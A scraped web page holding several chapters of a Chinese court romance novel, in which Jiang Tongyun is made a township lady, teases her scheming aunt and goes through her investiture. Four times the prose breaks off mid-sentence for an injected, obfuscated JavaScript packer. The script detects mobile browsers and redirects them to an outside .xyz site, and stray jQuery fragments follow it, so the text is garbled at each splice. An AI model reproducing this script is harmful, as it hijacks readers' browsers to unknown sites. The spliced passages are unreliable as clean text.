谢怀雵想了想:“先前陛下答应,等过完中秋,就在朝会上提封赏姜姑娘的事情。下次朝会在三天后,等姜姑娘封赏事宜确定,晚辈就去请旨赐婚。” 闻言,老爷子点了点头:“好。” 心中最挂念的大事落定,老爷子也松快起来。他扭过头笑着对姜同云道:“你不是说要赢大花灯的吗?进来坐了这么久了,要不要去灯市继续逛逛?” 姜同云一时有些犹豫。 她是很眼馋奖品花灯的,也想继续去玩,但不知道姜向瑶和韩纬还在不在灯市上。这要是再撞上他俩,多少还是有点尴尬。 想到这里,她摇了摇头:“天也不早了,您得早些休息,咱们还是回去吧。” 老爷子本来是想让他们两个年轻人一起出去玩一会的。不过他也想到了可能还在灯市的韩纬,便点头道:“那就罢了。外祖父下次再帮你去赢!” 两人起身同谢怀雵作别,叫上楼下等候的木樨几人,一道离开东市回家去了。 ***** 次日中午,一直留意义阳侯府消息的陶叔就来汇报,说颍川侯府已经派人到姜家下聘了。 等到了下午,义阳侯府回了礼,两家的婚事就正式在金陵权贵圈子内宣告了。 得知消息的亲戚朋友们都纷纷派人送了贺礼。有关系亲近的,甚至已经直接上门祝贺了。 义阳侯府倒是一片喜气洋洋,大开府门迎接宾客。但他们的亲家颍川侯府却早早地闭了门,侯爷和夫人两人都谢绝了会客请求。 此时的颍川侯府内,气氛压抑沉郁,一派山雨欲来之景。 侯府正堂内,老夫人高居上首,冷着脸扫向下方坐成一排的儿子儿媳和两个孙子。 “你们竟然联起手来骗我?!” 已至知天命之年的颍川侯面对自己的母亲时还是毕恭毕敬,丝毫不敢逾矩。此时见母亲发怒,他连忙站起身来回话:“母亲何出此言,儿子怎敢骗您?” 颍川侯起身,他的夫人和两个儿子自然也不能再坐着,一并跟着站了起来。 老夫人冷哼一声:“不敢骗我?那你们前两天是怎么同我说的?你们说姜家大姑娘回了金陵,你们已经和姜家重谈旧约,纬儿婚事不日将定。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572998|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说到这里,老太太已经反应了过来。她怒极反笑,狠狠地拍了一下桌子:“重谈旧约,你们还真是没有骗我!” “是谁想出来用这种模棱两可的话欺瞒我的!” 天气寒凉,颍川侯却在母亲愤怒的质问声里吓出了一脑袋的汗。 话当然是他夫人想出来的。可他要是敢老实交代,只怕夫人今天就要承受母亲的怒火了。 沉默之间,韩纬主动站了出来:“祖母,是孙儿不满意姜家的大姑娘,所以父亲母亲才会费心帮我筹谋。祖母要怪就怪孙儿吧,父亲母亲只是出于一片拳拳爱子之心,并非有意忤逆于您。” 听到儿子站出来替自己背锅,颍川侯夫人不由眼眶发酸。 老夫人听了韩纬的话,气得手都抖起来了:“好,好啊!” 她如何猜不到,真正对姜家大姑娘不满的其实是自己儿媳。但现在韩纬主动站出来承担责任,她也不能硬说就是儿媳的错。 老夫人重重地喘了几口气:“你、你对这门婚约究竟有何不满?” 韩纬犹豫片刻:“姜家那位大姑娘,礼数不周,又有纵酒之好,孙儿觉得她并非贤妻。” 老夫人死死地盯着他,一字一顿地问道:“那她是当着你的面礼数不周,还是当着你面纵饮无度?” 韩纬垂着头支吾了一会,方才小声回答:“礼数不周……是孙儿听闻的。但孙儿确实撞见她去买酒了。” “听闻,看见她买酒。只是如此,又非亲眼所见,你就敢断言她不贤?”老夫人的嘴唇都哆嗦起来了,“韩纬!你这些年读了这么多书,圣贤书上就是这么教你做人的?!” 韩纬当即跪下认错。 见弟弟跪下,一旁的韩继连忙上前求情:“祖母,二弟只是一时糊涂。” 韩继是韩纬的同母兄长,颍川侯府将来的继承人。他比韩纬年长七岁,早已成亲生子。对这个差了不少岁的弟弟,他一向是关爱有加的。 见韩继出来求情,老夫人更加生气了:“他糊涂,你父母糊涂,你这个做兄长的怎么也不知道劝阻一二!” 韩继也有些怵自家祖母。听到这话,他垂着头小声答道:“都是姜家的姑娘,大姑娘二姑娘的,应该也没什么差别吧,还是二弟喜欢更重要。” “没有差别?”老夫人冷笑数声,“我看你们是打量着姜家大姑娘父母双亡,看不上她这个孤女,觉得她不如有个侯爷做父亲的二姑娘。” “可那义阳侯是个什么人?文不成武不就,连陛下交办的差事都能出纰漏,十足的草包一个!” “姜家大姑娘看着是没什么助益,但她外祖父还在,她外祖父的人脉关系还在!纬儿将来是要入仕的,等他进入朝堂,有个在文官清流间名声极佳的外祖父帮衬,难道不比只剩个空架子的义阳侯府有用?!” 听到老夫人这话,颍川侯夫妇心里一沉,这才惊觉自己可能做了错事。 颍川侯嗫嚅着说道:“那、那怎么办?现在聘礼已下,满金陵都知道纬儿要娶的是义阳侯的女儿,我们这……” 看着儿孙慌乱的模样,老夫人长长地叹了口气。 她和她丈夫苦心经营,好不容易才盼到韩纬这么一个读书苗子,就指望能靠这个孙子帮韩家开辟一条新的道路。却没想到竟然败在了最后一步。 巨大的失望让她浑身发凉。她疲惫地摆了摆手:“现在你才是颍川侯,往后这侯府的事情,你们自己做主吧。” 33. 朝会 两日后,颍川侯拖着两个发青的大眼袋上了朝。 侯府闭门谢客两日,许多想要恭贺的故交同僚只能先把礼物送过去。这会儿好不容易遇到颍川侯本人,大家自然而然地上前表示祝贺。 听着众人的贺喜声,颍川侯只觉心里拔凉。 这两天,他和他夫人待在府里,好好地把老夫人的话翻来覆去地想了几遍。 母亲说的没错,姜家大姑娘乍一看身世飘零,但她的那个外祖父在文人中还真是挺有些能量的。而且许老爷子就这么一个后辈了,要是纬儿娶了她为妻,还怕人家外祖父不肯出力帮衬吗? 现在背着人家换了姜家二姑娘,纬儿不仅享受不到这种助力,搞不好还会被人家记恨上! 夫妻两个这两天是越想越后悔。奈何婚事都已经宣告出去了,再要换人,不说姜家同不同意,韩家就先要沦为金陵笑柄了! 所以这两天晚上,颍川侯夫妇俩都没睡好觉。 尽管身心俱疲,也不想面对别人的祝贺,但朝会还是不能无故缺席的。所以颍川侯今天还是起了个大早,勤勤恳恳上朝来了。 面对同僚的恭贺之语,他也只能假装高兴地回应起来。 两姓结亲是喜事,见大家围着颍川侯道喜,一些平日里和他来往不多的官员也都纷纷上前祝贺。 就连一向不苟言笑的御史中丞卫大人也难得对着颍川侯露出了一个笑脸:“恭喜侯爷。” “卫大人客气了。”颍川侯连忙回礼。 “令公子今年是要下场科考吧。我的一个老友前阵子北上金陵,听说他看了令公子的文章后,多有赞赏之语。侯府明年想来是要双喜临门了。” 看着卫大人的微笑,颍川侯心里痛得直滴血。 卫大人那位北上金陵的老友,不就是许老爷子么? 要是纬儿娶的是姜大姑娘,将来何愁这位卫大人不高看纬儿一眼! 当着这么多官员的面,颍川侯实在不能暴露出自己的痛惜之情,只好强笑着谢道:“承您吉言。” 送走了卫大人,颍川侯又听见有人在背后叫他。 他转过身去一看,一时有些怔愣。 齐王今天怎么也来上朝了?他身体不好,陛下不是特批过让他不用来参加朝会的吗? 谢怀雵看着面色有些不佳的颍川侯,笑眯眯地说道:“恭喜侯爷。” 颍川侯连忙答谢:“多谢殿下。” “都说人逢喜事精神爽,令公子婚事已定,侯爷今日看着也是格外地有气色呢。” 听到这话,颍川侯舌根里头直泛苦。但当着谢怀雵地面,他还是强行撑住了:“您说笑了。” 谢怀雵又夸了两句郎才女貌之类的客套话,才转身朝前走去。 等官员之间寒暄过一阵,内监示意陛下即将驾临,众多朝臣们立刻停下话头,各自回到自己的位置上站定。 颍川侯站在了武官一列。 像今日这样的小朝会,通常只有有官身的朝臣才会参加。颍川侯也是身上有个武官职位才能列于朝上。像义阳侯这种被革去官职的勋贵,一般是不会来参加的。 也亏得他今天不会来,不然颍川侯都不知道自己该摆个什么脸色对人家。 思绪回转之间,陛下已至。 众官依礼朝拜后,今日朝会正式开始。 陛下先是提了先前押送粮草北上的事,正式敲定了运粮人选,之后又把前阵子积压的事情一一拿出来讨论。 这些事都和颍川侯无关,加上他这两天都没休息好,精力实在不济。这朝上着上着,他就开始有些瞌睡了。 谁料他的眼皮子刚刚垂下来,就听见有人说要什么“抚恤遗孤”。 什么抚恤遗孤?去年一整年不是都没打仗吗? 颍川侯一个激灵,清醒过来。 就听出列的武官还在继续对奏:“……故而微臣觉得,应当给过去的一些功臣遗孤再加赏赐,也好振奋边境军民士气。” 听到“过去的功臣遗孤”几个字,颍川侯心里不知怎么的就有些紧张。 高坐殿中的陛下微微颔首:“祝卿言之有理。这样吧,就由梁国公牵头,祝卿协助。你们二人回去查阅一下往年都有哪些立下过重大功绩的英烈,先草拟一份加赏名单出来,给朕过目一下。” 梁国公和提起加赏事宜的官员一同领下了这份差事。 两人刚刚回到队列,前头一直不出声的谢怀雵又站了出来:“启奏陛下。” “方才祝大人提到加赏功臣遗孤,让臣想起一事。臣近来意外得知当年送粮北上、助臣击退晋国侵扰的民间义士,也正是一位功臣遗孤。” 陛下装作第一次听说此事的模样,饶有兴致地问道:“是何人有此忠义之举啊?” “回禀陛下,此人正是先轻车都尉姜将军和先上骑都尉许夫人之女。” 闻听此言,颍川侯的心重重地坠了下去。 姜家那位大姑娘居然被齐王在陛下面前提起了!而且还挨在这样一个档口! 朝堂上也陷入了沉默。 一些年轻的官员还在回忆姜将军和许夫人的身份,但一些年长的官员已然记起当年两次争论这位姜姑娘优待的事情来了。 气氛一时有些凝滞。 还是陛下率先开口,打破了沉默:“原是这两位爱卿的遗孤。姜、许两位爱卿可都是为国捐躯的忠臣啊。不仅是他们二人,朕记得许夫人的弟弟当年也是宁死不降,被俘后于敌军阵前慷慨陈词,随后英勇就义。” 说着,他长叹了一口气:“他们家真是历代忠直,无怪能养出一个倾囊助国的女儿来。” 梁国公早就跟皇后通过了气,知道陛下今日要提封赏之事。此时听到陛下夸奖这位姜姑娘,他当即出列道:“既然这位姑娘有此义举,今日陛下又欲加赏功臣之后,不若就先从这位姜姑娘开始吧。” 陛下欣然点头:“好。只是寻常加赏恐怕不足以表彰他们一家的功绩。嗯……既然姜、许两位爱卿都已亡故,那朕也应当替他们二人照养遗孤。朕欲封这位姜姑娘为乡主,分与食邑,往后由我大越供养于她。诸卿觉得如何?” 什么,陛下直接就把她封乡主了?! 他们家到底都错过了什么,一位乡主!!! 颍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582575|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川侯一时心如刀绞,只觉自己头晕目眩,呼吸困难。 朝上也陷入了短暂的沉寂。 还是谢怀雵的声音打破了寂静的氛围:“陛下圣明。” 御史中丞卫大人也回过神来。老友为了几个孩子的事情伤心了多少年,他都是看在眼里的。如今陛下主动提出封赏,他自然要帮老友的外孙女争上一争! 他理了理衣襟,出列高呼:“陛下圣明!” 梁国公也紧随而上:“陛下圣明。” 有这三个人带头,朝臣们纷纷附议。 看着群臣俯首,陛下心满意足地压了压手掌:“好。既然诸位爱卿都没有异议,那此事就这样定下了。礼部稍候拟几个封号送来给朕定夺。” 他又简单吩咐了几句,将其余加赏的事宜安排妥当。 “若无别的事情要奏,今日就散了吧。” 待陛下起驾回宫,朝臣们才有序散去。 等前头的人一走,颍川侯就沉着一张脸步履匆匆地朝外走去。 有同僚看见他,还想再恭贺两句,不想颍川侯根本无意再听,随便朝人拱了拱手就走了。 跟颍川侯一样面色不虞的还有别人。 赵王也是铁青着一张脸走的。 谢怀雵刚开始说的时候,他还没记起来来是谁。等到后面梁国公说了“姜姑娘”,他才反应过来。 那不就是谢含昭先前交的那个朋友! 再看今天谢怀雵和梁国公的表现,他还能有什么不清楚的! 谢含昭压根就没跟那女人闹掰,这都是她们联起手来骗自己的!!! 想到自己居然就这样被两个女人演戏骗了过去,谢怀晟只觉怒火攻心。 但看刚刚陛下那个反应,明显他早就拿定了主意要封赏那个姓姜的女人了。加上这么多朝臣都一起附议,谢怀晟再生气也只能强压怒火,根本不敢站出来反对封赏之事。 好不容易憋到下朝,陛下和太子一走,他就闷着头朝外面冲了出去。 气死我了!气死我了!!气死我了!!! 谢怀晟攥紧拳头,脑海中浮现起谢含昭得意的模样,恨得对着空气挥了一拳。 可恨自己当初被瞒了过去,现在那个女人已经是板上钉钉的乡主了,自己再想把她搞到手就没那么容易了! 等挥完拳头,稍稍冷静下来的谢怀晟看见周围臣工远远避开自己的样子,好不容易消下去一点的火气又被点了起来。 这群见风使舵的墙头草! 他们肯定早就投靠了太子麾下!梁国公和那个谢怀雵都是太子的人,所以他俩一提,那些软骨头的大臣直接就倒了! 但凡他们硬气一点呢! 赵王越想越气,随手抓了旁边一个小内监问道:“谢怀雵人呢!” 这家伙肯定没少在里面出力!动不了太子和谢含昭,还不能先找他出出气吗?! 小内监被吓得直哆嗦,磕磕绊绊地回答道:“方、方才陛下召见,齐王殿下随陛下去了紫宸殿了。” 可恶,又让他溜了! 谢怀晟狠狠地将小内监掼倒在地,随后愤恨离去。 34. 捉弄 不管赵王和颍川侯回府后是个什么光景,总之封赐姜同云为乡主的圣旨在次日被送到了升平坊里。 陛下最终为姜同云选定了永平作为封号,还特意赏了一处金陵的宅院,并破例赐了三百户食邑给她——按照惯例,乡主通常只能拥有二百户食邑。 正式加封的日子定在半个月后,届时姜同云需入宫完成受封流程。所以前来宣读圣旨的内监还带来了一位宫内礼仪女官,她会在这段时间内教导姜同云受封时的一应流程。 姜同云和老爷子一同拜谢过圣恩,收下圣旨。 内监走后,姜同云捧着手中装有绸卷的木匣,一时心潮澎湃。 三百户食邑!还有一个宅子!以后只要她不惹上事,就算躺平不干活也能衣食无忧啦! 她高兴地差点跳起来。 好在余光及时扫到礼仪女官,姜同云立刻止住蠢蠢欲动的腿,“庄重”地捧着圣旨缓步至老爷子面前。 “外祖父,这圣旨……” 按照礼制要求,受到这种加封恩赏的旨意,受赏之人需将圣旨贡在香案上,告慰先祖。 可是这处升平坊的宅子里根本就没有设置祭拜之所。别说先祖牌位了,就连今天摆出来的香案,都是陶叔昨天紧急采购的。 宫里派来的礼仪女官还在这儿呢,他们总不能当着人家的面把圣旨放进哪间没人住的小屋子里去吧? 这要是传出去,保不定就被会被人参一本不敬圣上。 所以姜同云一时之间有些犯难。 好在老爷子是经历过大风大浪的。 他不慌不忙地说道:“咱们一起把圣旨请去主屋东耳房,再焚香告慰你的父母吧。” 东耳房不是一直空着的吗? 不过姜同云也没有笨到在礼仪女官面前问这种话。她乖巧地应了一声“是”,随即询问礼仪女官是否要一同前往。 因老爷子说要焚香告慰,礼仪女官便没有跟去。 于是姜同云请她先在花厅暂坐,又让木樨赶快把先前杜嬷嬷住过的西厢房收拾出来。 安排好宫里的人后,姜同云捧着圣旨,跟随老爷子一道往正院去了。 进了主屋东耳房,老爷子一掀帘子,指向靠墙那张空着的桌案: “喏,就放那儿吧。” 看着这间空空荡荡,只摆了一张桌案,连灯都没点起来的房间,姜同云有些犹豫:“这样没事吗?” “能有啥事?陛下难道还派人来检查吗?”老爷子满不在乎地摆了摆手,“先放这儿,等御赐的宅邸修缮好了,再专门给它腾个房间就行。” 姜同云想了想,觉得老爷子说的在理,便将手中木匣合上,将这只装了圣旨的盒子摆到了桌案上。 “嗯,我看这样就很好了。”老爷子摸了摸胡子,“不过你父母和祖父那里,也是该去祭拜告知一下。我让人安排好,你过两日抽空去一趟吧。” “好。” 说话间,丫鬟来报,说义阳侯夫妇登门了。 祖孙二人对视一眼。 “让他们在正厅稍候片刻。” 正厅内。 义阳侯仿佛身上有蚂蚁在爬一般,觉得浑身都不自在。加上这是他第一次来这里,难免四处环顾。 看着身旁两眼乱转、坐立不安的丈夫,李夫人深觉丢人。 姜宅的丫鬟给两人各上了一杯热茶。 待丫鬟退下,义阳侯俯身凑到李夫人耳边,低声问道:“你说那丫头会不会心存怨恨,故意晾着我们啊?” 早就已经被晾过的李夫人没忍住,对着他翻了个白眼:“那也得忍着!还有你给我注意一点,别‘那丫头’、‘那丫头’地叫了,当心等会说漏嘴当着她的面叫出来!” 义阳侯闹了个没趣,讪讪道:“现在就咱们俩嘛……” “就咱们俩也不行,这儿是人家的地盘。”李夫人横了他一眼,“她现在是陛下亲封的乡主了。虽然她品级没你高,但陛下这会儿对她的事情上心着呢。要是她想办法到陛下或者皇后面前告你一状,你就等着吧!” 义阳侯被李夫人劈头盖脸地说了一通,眉毛都耷拉下来了:“谁知道她撞了什么狗屎运,居然能有这种造化。” 李夫人叹了口气:“走不走运的,她也都是乡主了。” 昨天散朝后,有人上门来恭贺,他们夫妻俩还都全然摸不着头脑,以为人家是来贺向瑶跟颍川侯府的婚事。 得知陛下有意封姜同云为乡主后,两人都呆住了。 到昨天吃晚饭的时候,义阳侯还心存希望,觉得陛下可能只是一时兴起,或许这两日有臣子上奏反对一下,这事又会像前两次一样作罢。运气好一点,说不定这样的好事又能轮到他的头上。 李夫人却早早地想明白了。 凡是可一可二,不可三。陛下前面两次都被一些臣子逼迫,放弃了给姜同云优待。到了这回,哪怕只是为了帝王的面子,恐怕他都不会再让步了。 想通此事后,李夫人连夜叫人备了礼物。 今天一听说宫里派人去升平坊宣旨,她就让人装马备车,拉着希望破灭、大受打击的丈夫一起出门了。 虽然定亲信物是姜同云自愿给的,但当时到底闹过一场。为了女儿以后的幸福,李夫人必须要修复和姜同云之间的关系。 想到这里,她又瞪了颓丧的义阳侯一眼:“为了向瑶,你也得给我打起精神来!等会可不许摆着一张哭丧脸对人!” 正叮嘱呢,正厅的门帘被掀开,姜同云和许老爷子前后脚走了进来。 看见老爷子,李夫人刚刚扬起的笑容凝固在了脸上。 他怎么也来了! 尽管被打了个猝不及防,李夫人还是连忙换上了客气的笑容:“老爷子,您也来金陵了啊!哎哟,要是知道您也在,我们刚刚就该多备些东西再来的。” 说着,李夫人给落在后头的义阳侯使了个眼色,示意他也上来寒暄。 义阳侯磨磨蹭蹭地上前来问候。 姜同云看着他们夫妻俩挤眉弄眼的,心里不由偷笑。 眼看李夫人绞尽脑汁地想话,外祖父就只也是淡淡地应两声,她终于良心发现,上前走到李夫人身旁:“外祖父,就由您来招待叔父吧,婶婶这里有我就行。” 老爷子点了点头。 听到姜同云解围,李夫人心里不禁生出一股感激之情。 她平日里最怵的就是许家老爷子这种人。这会儿姜同云主动将她从跟许老爷子交谈的“地狱”里捞出来,她几乎抑制不住地松了口气。 只是这口气松到一半,她又想起了自己那个不中用的丈夫。 李夫人在姜同云祖孙二人看不见的角度瞪了义阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597189|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯一眼。 可惜还没来得及看丈夫的反应,她就被姜同云带着到偏厅去了。 李夫人只能暂时放下忧心,开始应付姜同云。 “同云,昨天听说陛下要封你做乡主,婶婶我高兴地一晚上就没睡呢!”她满脸堆笑地说道,“今日特意过来恭贺你啦!” 姜同云笑了笑:“多谢婶婶费心。” 见她神色淡淡,李夫人疑心她对自己家有怨,又把昨天晚上花了一夜想出来的一箩筐好话都拿出来说了。 姜同云饶有兴致地听了好半天。见她说得口干舌燥,还好心地给她递了杯水。 姜同云算是看明白了,这对夫妻是生怕先前换嫁的事情得罪了自己,这会上门来表明态度了。 虽然这事姜同云一早就知道,而且也有意顺水推舟,但李夫人当时说出的一些话,也确实让她有些不快。 不然干脆就趁这个机会捉弄一下李夫人,就当报复回来? 想到这里,姜同云收起笑容,放下手中杯盏:“婶婶说完了吗?” 见她这般表现,李夫人果然急了:“这……同云,是不是婶婶说错了什么惹你不高兴了?” 看着李夫人焦急无措的模样,姜同云强压嘴角:“前两日二妹妹定亲,听说婶婶在家里置办了好几桌酒席,好生热闹呢。”! 听了姜同云的话,李夫人额角的冷汗都要滴下来了:坏了,这果真是还在意婚约的事情! 她想开口说些什么,姜同云却根本不给她机会:“我到底也是做姐姐的。婶婶怎么也不知会我一声,我也好上门贺一贺二妹妹啊。” 李夫人讪笑着说道:“这不是……最近几日事情多,我给弄忘了。” “昂,原来如此。”姜同云扫了李夫人一眼,“那二妹妹的婚期可定下了?” 李夫人被她弄得心脏乱跳,垂着头含含糊糊地回答道:“定、定了。” “定在什么时候?我总得去给二妹妹添妆。二妹妹成亲那日,我也该去送一送她的。” 李夫人扛不住了。 她霍然起身,却被早有准备的姜同云一把按住。 “婶婶这是怎么了?”姜同云重新露出了笑容,“我也姓姜,我们到底都是一家人嘛。” 看着姜同云乖巧热情的笑容,李夫人都快要晕厥了。 这丫头一会冷一会热的,她根本拿不准对方的心思。 她这会儿很想直接把话说开,拉下脸来直接求姜同云高抬贵手。但又担心说得太直接,提到先前争吵威胁的事情,反而会跟姜同云撕破脸皮。 犹豫之间,姜同云已经按着她坐回了椅子上:“婶婶这是怎么了?哪里不舒服吗?” 姜同云这一打岔,彻底打散了她仅剩的勇气。心头那股气一散,一股莫名的恐惧和慌乱就升了上来。 李夫人已经不想在这里待下去了。 她胡乱地说道:“没、没事。我想起来家里还有些事,就先告辞了。” 说着,李夫人也顾不上失礼不失礼的,直接起身朝外走去。 姜同云缀在后面假模假样地挽留了几句。等她装着追李夫人的样子慢悠悠地走到正厅,那对夫妻已经没了踪影。 正厅里,祖孙二人交换了一个心照不宣的眼神。 听着前头传来的马鸣声,两人不约而同地捂着嘴笑了。 35. 受封 九月初六,秋高气爽。 天还没亮,姜同云就被唤醒。 在礼仪女官连着三四名丫鬟的帮助下,她花了足足一个时辰梳妆打扮。等穿上前两日送来的全套乡主行头后,天色已经蒙蒙亮了。 好在这两日天气已经转冷,姜同云穿着厚厚好几层的翟衣才不至于觉得闷热。 时间差不多了。礼仪女官在前引导,木樨和另外一名丫鬟一左一右地搀着姜同云,朝屋外走去。 倒也不是姜同云想摆这个架子。实在是翟衣衣摆太长,头上的七珠花钗又太过沉重,压得她不敢低头。 要不是有人扶着,只怕她走不了两步就得踩着衣摆把自己绊倒了。 木樨替她提起衣摆,三人小心翼翼地跨过门槛。 老爷子已经等在院子里了。 碍于这身衣裳和头上的花钗,姜同云只稍稍朝他点了点头。 老爷子对着她露出了鼓励的笑容:“去吧。” 木樨二人松开搀扶的手,姜同云试着单独走了两步。 基本适应沉重的长衣摆后,姜同云登上了前往宫城的马车。 半个时辰后,她被引入漱玉殿内。 金陵宫城内有一处专门用于举行封爵仪式的建筑群。漱玉殿位于这处建筑群的西北面,通常用于给宗室女和内外命妇加封。 此时漱玉殿内已经布置好了灯烛香案等物。 姜同云在礼仪女官指引下,走到香案之前站定等候。 宗室女的册立仪式分成两段。前半段在前头宣明殿内举行,后半段才会轮到姜同云这里。* 首先,帝后二人需着相应的礼服入宣明殿内入座。仪式正式开始后,殿外奏起雅乐。 乐止,宫内女官捧册印入殿。之后有专门的宣册官宣读册封圣旨。 圣旨宣读完毕后,代表姜同云乡主身份的印、册二物会被分别转交给正副二位使者。两位使者叩拜过帝后,才能捧着册印至漱玉殿内授予姜同云。 整套流程非常之繁复,前后共要花去数个时辰。所以越朝皇帝更愿意批量举行加封仪式,一次性解决数个受封对象。 像姜同云这样单独受封的情况,一般只会出现在皇子公主身上。 甚至在太宗朝时,因为儿女数量众多,太宗一些不太受关注的子女也都只能挤在一起受封,享受不到这种单人待遇。 所以这会儿即使又累又困,姜同云也只能强打精神,好好地品味这种“尊荣”的折磨。 等到外面日头升起,暖烘烘的阳光都照上了台阶,前头终于传来了奏乐的声音。 册封仪式终于开始了。 又过了大约小半个时辰,捧着册宝的二位使者终于进入殿内。 此次来给姜同云受封做使者的,都是陛下和皇后精挑细选出来的人。因为姜同云并不是谢氏宗室女,所以帝后没有按照以往惯例,选取宗室内命妇为使者,而是挑选了两位宿有名望的外命妇担当此职。 打头捧着绶印的正使,就是邓皇后的嫂子,位居一品的梁国夫人;捧着金册走在梁国夫人身侧、略微落后她一步的则是一位三品郡君。 二人都穿着全套的命妇装束。即使手中捧着东西,也依旧保持着无可挑剔的优雅仪态,平稳地缓步行来。 二人将手中物品置于殿中香案上。 礼仪女官唱道:“拜。” 姜同云稳稳跪地,行稽首礼。 四拜后,宣册官再次宣读圣旨。之后姜同云从正副二使手中接过印、册,置于香案。 至此,全套流程才算走完。 听到礼仪女官宣布礼成,姜同云悄悄松了口气。 这一放松下来,她就觉得自己饿了。 为了避免在受封时出岔子,礼仪女官昨日特意叮嘱,今早起来后尽量不要进食。 所以姜同云起床后就只吃了一小块枣糕垫巴肚子,连水都没敢多喝一口。 穿着这套沉重的行头站了这么半天,这会儿可不是该觉得饿了。 可惜,册封仪式是结束了,但姜同云暂时还走不了。 她还得去拜谒帝后。 册印先由梁国夫人二人收走,姜同云则在宫内女官引领下,朝前头宣明殿走去。 因要举行册封仪式,宣明殿外除了禁军侍卫以外,还安排了相应的仪仗和女乐。 这跟上次去见邓皇后的场景简直就是天差地别! 尽管内心已经紧张到需要用扣手心来缓解情绪,但经过这些象征皇权的人群时,姜同云还是端住了仪态,没有露怯。 她目不斜视,四平八稳地进了宣明殿内。 按照礼仪女官教导的,她对着帝后行了稽首大礼,并说出了一早就准备好的谢恩之语。 陛下赐她平身,又说了好些嘉许鼓励的话。 等轮到邓皇后,她就只平淡地说道:“陛下所言亦是本宫所想。永平乡主需将陛下之言铭记于心。” 姜同云恭敬地应了。 见邓皇后不再言语,陛下就摆了摆手,示意姜同云可以走了。 姜同云拜别帝后,起身退步离去。 待她走后,陛下看向邓皇后:“皇后觉得,这个姑娘如何?” 邓皇后沉吟片刻:“臣妾观她神态平和、举止大方,进退有度。受封仪程如此繁杂,而她各项礼仪未有出错,想来是个稳得住的孩子。再加上先前的捐粮义举,臣妾觉得,她很不错。” 陛下点了点头:“嗯,朕看着也觉得不错。虽然方才只远远地看了两眼,倒也能看出她是个漂亮姑娘。难怪怀雵喜欢,说想娶她。” 听了陛下这话,邓皇后眉心微微一跳。顿了顿,她才露出笑容来:“陛下这么说,是肯同意怀雵的请求,要为他们二人赐婚了?” 陛下颔首:“是。怀雵也是该成亲了。难得他主动看上一个姑娘,朕自然是要成人之美的。” “那臣妾就先替怀雵和含昭谢过陛下了。” 陛下一愣,随即哈哈大笑起来:“倒是忘了。等这姑娘嫁入齐王府,只怕含昭在宫里都待不下去,天天要闹着去找她这新嫂子玩了。” “好好好。就算只为了朕这宝贝女儿,这道赐婚的旨意朕都要早点下达了。” 帝后在这头谈论谢含昭高不高兴,还不知道他俩的宝贝女儿这会就已经蹲守在宣明殿到宫门口的必经之路上。 烟景眼尖,远远地就看见了姜同云:“殿下,姜姑娘、不对,永平乡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601340|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主好像来了。” 谢含昭立刻探头望去。 确认是姜同云后,她原地蹦了两下,朝着姜同云欢快地挥起了手。 姜同云也看见了那头门口蹲着的两小只。 起先她还以为自己是又累又饿导致眼睛花了产生错觉,不然怎么能在宫里看见有人不顾仪态地蹲在门口。等到谢含昭蹦了起来朝着她招手,她才反应过来那可能是谁。 跟引导女官告了罪,姜同云提起衣摆,快步朝门口走去。 那头的谢含昭已经主动跑了过来:“姜姐姐!” 看见谢含昭,姜同云很是高兴:“殿下在这里等我吗?” “对呀对呀。”谢含昭小鸡啄米般地点头,随后从烟景手里接了一只匣子过来,“怀雵哥哥怕你肚子饿,托我给你送点吃的来!” 姜同云还不知道谢怀雵已经跟陛下提过赐婚的事情,被谢含昭这么一说,顿时觉得好像被人窥见了什么秘密,有些不好意思起来。 为了掩饰自己的难为情,她故意说道:“那我可得好好感谢齐王殿下呢。” 谢含昭听她这么一说,立刻着急起来,指着自己问道:“那我呢那我呢?” 姜同云故意没有说话,吊了小姑娘一会。 等谢含昭急得都快围着她转圈了,她才“噗嗤”一下笑出了声:“好,也感谢最善良最可爱的五公主殿下,好心来给我送吃的!” 